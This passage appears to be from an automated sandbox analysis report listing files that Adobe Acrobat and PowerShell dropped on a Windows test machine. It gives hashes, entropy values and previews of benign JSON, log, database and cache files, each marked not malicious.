Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.268620830519061
Encrypted:	false
SSDEEP:	6:YEQXJ2HXig/roljMXIdUWvB3/dVlPIHAR0YVxoAvJfbPtdPeUkwRe9:YvXKXiuroljW+vR/ZwHAcGDV8Ukee9
MD5:	76A96BFDEDE1B1B4F9EF4124BA82D10C
SHA1:	B5394F29EDC4DF0AD8455B3D2969758BD967FAFA
SHA-256:	599BC572659DF370C20F1F6738FF176B6599A8364DB1D450F2E77F2297C93B3A
SHA-512:	0892D638DD33B2B7ABD6DD100D2DD1000762492E14426B72B4376E35BAA1ABB237BA7A0D83116FBC32615D50423AF596BDC383E631CF063E1DA9ED11054911DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.268031024915407
Encrypted:	false
SSDEEP:	6:YEQXJ2HXig/roljMXIdUWvB3/dVlPIHAR0YVxoAvJf21rPeUkwRe9:YvXKXiuroljW+vR/ZwHAcG+16Ukee9
MD5:	E6662F262B251AA3B9A52EDC4BAECC0A
SHA1:	4F41CB1C1A1CC6152CA173611892592161858A26
SHA-256:	36AAA8FA46EE963CFC6142F1A9CF32052B51C8A2D482AB52A6DF7EBDE3C93E33
SHA-512:	683D18D8F6CC994DD0CD94CE26128C9E2F8021CB72A25ED73B4C829B43F87FB4CDE36D9BD694F6B3414EA712D2E1707A01188D2112A44245A7EBD2EBF2B367F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664872582457875
Encrypted:	false
SSDEEP:	24:Yv6XiuclS+JhFamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSI:YvUQJh5BgkDMUJUAh8cvMI
MD5:	35624890BF18933159FC42E95A53EA8E
SHA1:	CD9928F3BE167934D873E472CE927102E65471CA
SHA-256:	88D496AEC93F2DDEDF70AF41FDB784D5C960ABA5E3BEEBB714B258739AB0D86C
SHA-512:	6EADBADC2E76C39DD6B38D1C42B11350826522BB69A6CDC276889653C3A3099EC969AFE624EB6520D142CFA28B2B0FA3C96E55AA5325D03B0E31CE425CC7D332
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2442991402071035
Encrypted:	false
SSDEEP:	6:YEQXJ2HXig/roljMXIdUWvB3/dVlPIHAR0YVxoAvJfshHHrPeUkwRe9:YvXKXiuroljW+vR/ZwHAcGUUUkee9
MD5:	635A370B76BDF7CC1E52C8422C3B83BC
SHA1:	53FE4F0A9A47C25E62E0B712443F20324FF4ED80
SHA-256:	F666D318BBDC2D564BD3E699D6E8027572B7D2B64208484917E352CAB51F1DEB
SHA-512:	1EF92B2914D5D3A7F143EC6F9130513CD38C0DC06BA918CE0258E955403937C8FB8D28EC8E2F1F38975F593FDA72613A083FD56845E5867E420A5860BC90C456
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.266050616832058
Encrypted:	false
SSDEEP:	6:YEQXJ2HXig/roljMXIdUWvB3/dVlPIHAR0YVxoAvJTqgFCrPeUkwRe9:YvXKXiuroljW+vR/ZwHAcGTq16Ukee9
MD5:	5D782ED687E43BC33589A6C26B2C9725
SHA1:	291B5F24A7EB501B4CD25DCA68AB64CD8DEEDBE6
SHA-256:	FF0D7F8DAA59E7CF95DD7549C7171F2D87113A8B9BB14B5137B59CA38B496881
SHA-512:	E11BD8A35D540C0E06D2C70546A2E2E02A7C6121EDFB52BC91EFAA810F3F1EE31148779AFDC82FF986FD242ECFE42AC1B47AF52280F25029DE857BAD4E055A48
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fa9bb491-38ea-4f49-ac12-815592a36bbe","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731980438,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.131349646146346
Encrypted:	false
SSDEEP:	48:Yho7Bq1uvNzQSD7IjXgPbMcMFOsQ1Mg9UAtU:2C1zJD7Ig4JYsQ1hXU
MD5:	F135D88ED619DD877790469D7660A144
SHA1:	EBE5F6EE4DF1E649F44CC16E2D36850C37684DF1
SHA-256:	F5F50778F51E270E92382B9A38A0D96849597AFCD3E8F437F6D6639FD746B5A3
SHA-512:	682C4458B11B83DDFB7466A61690E5C9192ECE2D1BC0662E7213C3810115ADE451060AF918F491063D25B88B4FA4514B08F5BA020BAB19FE87213C5E7461B7EB
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"5619c4761ffbb11a21a331d96cda10ec","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736556900000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b8a6e42c7ab40de06367cf2832256c69","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736556900000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ae49fb958b28e2eb0ce5a972acabd346","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736556900000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"39e65373acb8616d28450e2d4d03c127","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736556900000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"5e56decdf5ea135a11ba431d5c14d72f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736556900000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"2d300f9df6783abf01f6dfd4a9063740","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3185624180910889
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeyitqVpV:TGufl2GL7ms9WR1CPmPbPahyUypilIci
MD5:	138094DE26EA7981B2F359B717F6E1B8
SHA1:	E0F036AE0E3310FBC3CA764EA80A216A899657A3
SHA-256:	EF74971F059EA1E9EE907CB7C16F4B4533B533180860E2BE52E7A72E0394857C
SHA-512:	43299C807C80E6F4C1C2043E504EBBD61F3D8DF634F7CE0ED197316264E8792A418D7F54D4F0FF71640474A582FA9F50885486D54BA5376C656ED5A80EBBD376
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7806530535261704
Encrypted:	false
SSDEEP:	24:7+t0llhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeyi4qVpaVrScVr0InpfqLhs:7MbWR1CPmPbPahyxypilIQqFl2GL7msI
MD5:	8D5EF0A08C5A46252D5CCEE216B596D1
SHA1:	A7EC0530F73A67B91D7F3A3D3AA031C0B576B3AF
SHA-256:	493DF6064F5C1303B5CD0B77E23C79A509024048EE8D9A82055000C1422BBA96
SHA-512:	33755B8D3209A9424B6F6CC34762699B16FCE2D22C882941EC12DDCFFEAE87054FAEF540974B4A0124D32D7E8278298C0AA7D645D365F2610B993B1C404AE555
Malicious:	false
Preview:	.... .c.....Y..`..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgSM+Yb/pP4pW0qh1r6F+OIgvuz6f1fXuYyu:6a6TZ44ADESM+YDpP4w0qhNPkmK
MD5:	49C034AD724E602CB346641B235ADCE5
SHA1:	415F44EEACF49ACC1DF05B455DB986AC5BB48D61
SHA-256:	2D4EB18C3091203506046BC36DE765732037D9E46460603DF14913066EC8639A
SHA-512:	E854395CA2E24F8214BB17C2733446CF74BF8E647962FBB296D7F820BEC18AA4A13B890D2ACAC354B79F293CDDF3AA0978B3170CB85FEDA5C58702C8D4A422A9
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI4e3cf.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4973455600014702
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE0H8NH:Qw946cPbiOxDlbYnuRK+bDP
MD5:	C8B02908072B10C65EDB80F0D3D6C36F
SHA1:	F847B1978DFAAA494D2F46E4151593A8838F65A0
SHA-256:	A22D115149F9D958EBBF619011BC68949949080EA424FAA016C58D5A41B19C8C
SHA-512:	49805AB8A71A789A32ED3D3B20C17CF1F99681D6BE9E8D04A8FD952E74FFB7004664008CD31C0AB0F41A534D4785DA98898DBAF85BBA2A57ADDB8BC5D5DA47C5
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.5.5.:.0.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qnt22yio.g34.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s3x0fhr1.j1c.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-54-56-510.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3369931790335965
Encrypted:	false
SSDEEP:	384:+oONWEX3IveJB24cKf73bpijf0lDoT7ntCJVbTjI8301j7s0erwMQNQZcOA1PWWR:GwP
MD5:	AB1936BD1B5EF3D09F0C286C2A21DC2C
SHA1:	1EE62B5BFDFBD283861AB045789A54F64777973E
SHA-256:	17186042AC2052B451C49897B57A544C61CF91CE29A11653672269508ECB454F
SHA-512:	13562FCFF1E5E07D10D038F32427D81B16128D01EEFDAFBA952586BD41D339989D06EE05F1DA41B0BFD40173C94BB9A2B8BE1B34752DC663EE212488E21D43E0
Malicious:	false
Preview:	SessionID=e4f20776-97d5-4190-84b1-615ae219711a.1736556896527 Timestamp=2025-01-10T19:54:56:527-0500 ThreadID=7508 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e4f20776-97d5-4190-84b1-615ae219711a.1736556896527 Timestamp=2025-01-10T19:54:56:528-0500 ThreadID=7508 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e4f20776-97d5-4190-84b1-615ae219711a.1736556896527 Timestamp=2025-01-10T19:54:56:528-0500 ThreadID=7508 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e4f20776-97d5-4190-84b1-615ae219711a.1736556896527 Timestamp=2025-01-10T19:54:56:528-0500 ThreadID=7508 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e4f20776-97d5-4190-84b1-615ae219711a.1736556896527 Timestamp=2025-01-10T19:54:56:528-0500 ThreadID=7508 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.410554598708618
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbQIcbeI5xcb5:ceo4+rsCe15O
MD5:	3401B06DA31215358A604438BA2ADAB6
SHA1:	D1F41A1249B52C345EC5FADE0738F07B4E883644
SHA-256:	17298016C8C84FEA771D8BBD128BDD0C82E9CC54D29EB3711BCD1EF7FF44B1EA
SHA-512:	41272EAAB4D1E484AB4AE614DD22EFD37D84A90198D6FABF703C8869AFCE8B4C953E2C1B3D7C2F813EF6F1D5863103B1B6BB710752E1795C8D3CF7841C143E96
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4ca5a6e0-9f63-4c28-96e6-97874592e276.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/gWL07oXGZIZwYIGNPJwdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:4WLxXGZIZwZGM3mlind9i4ufFXpAXkru
MD5:	AAAAB43627E96B02BC54A78F0EE8E32C
SHA1:	03808205C51BA031BF69F0DF07C9C80835098104
SHA-256:	B9ED5860C1528CAE5717E553381762D9C4ED093E546F7500F55B6B18B5C20CEA
SHA-512:	A476038C2BC9573AFA12D831678C0D2A6EFF0C1E065F7D214A0D5684E79AA7F02710DF30524DE0E6EC90CB660E581531DFA57F038EE1BC285B9BC3DAE17D133D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a48cd875-8edc-49bb-9992-cb2c3ef6879e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a77e35b9-d947-44b4-a422-9e3126677b30.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
